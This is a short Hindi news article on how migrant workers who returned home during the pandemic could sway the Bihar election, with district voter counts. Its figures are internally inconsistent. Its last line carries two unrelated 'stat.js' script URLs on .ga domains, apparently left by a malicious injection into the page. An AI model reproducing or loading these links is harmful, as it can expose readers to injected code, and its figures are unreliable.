इस बार के बिहार इलेक्शन में प्रवासी मजदूर बदल सकते खेल। इस बार वोटरों की संख्या में से प्रवासी मजदूरों की संख्या बहुत अधिक है। यह संख्या खेल को बना और बिगाड़ दोनों सकती है। इस बार कोरोनावायरस के कारण घर लौटे प्रवासी बिहारी मजदूरों को बहुत सी कठिनाइयों का सामना करना पड़ा है। प्रवासी मजदूर इस चुनाव के गेम चेंजर्स साबित हो सकते हैं।

 

 

क्योंकि इस बार 67 लाख मतदाताओं में से करीबन 16 लाख 24 हजार प्रवासी मजदूर है। इस बार प्रवासी मजदूरों को बहुत ही कष्टों का सामना करना पड़ा है। बिहार में प्रवासी मजदूर चुनाव के समय अपने गांव वापस आकर मतदान करते हैं और अपने चाहिते प्रत्याशी को वोट देखकर 2.22 फीसद रुझान और परिणाम को प्रभावित कर सकता है।
इस बार सभी राजनीतिक नेता और सभी दलों के दिक्कत दिग्गज प्रवासी मजदूरों को अपनी और लेने की कोशिश कर रहे हैं।

 

 

और उनके लाभ की बात कर रहे हैं। क्योंकि वह जानते हैं कि इस बार प्रवासी मजदूर पासा पलट सकते हैं। इसीलिए वह उनके बच्चे उनके परिवार के लाभ की बातें कर रहे हैं। क्योंकि बिहारी वर्ग मतदान को लेकर सबसे अधिक जागरूक है। इसलिए हर दल को डर है कि उनके वोट कहीं उनकी जीत का समीकरण बिगाड़ दे।

 

 

 

पूर्वी चंपारण और मधुबनी जिले में एक लाख से अधिक प्रवासी मतदाता है तथा 50000 से अधिक मतदाताओं वाले 12 जिले और है जिनमें अरिया, दरभंगा, गया, कटिहार, मधुबनी, मुजफ्फरपुर, पूर्वी चंपारण, पश्चिमी चंपारण, पूर्णिया, रोहतास, समस्तीपुर तथा सारण शामिल है। जो इस बार वोटों की संख्या को पलट सकते हैं।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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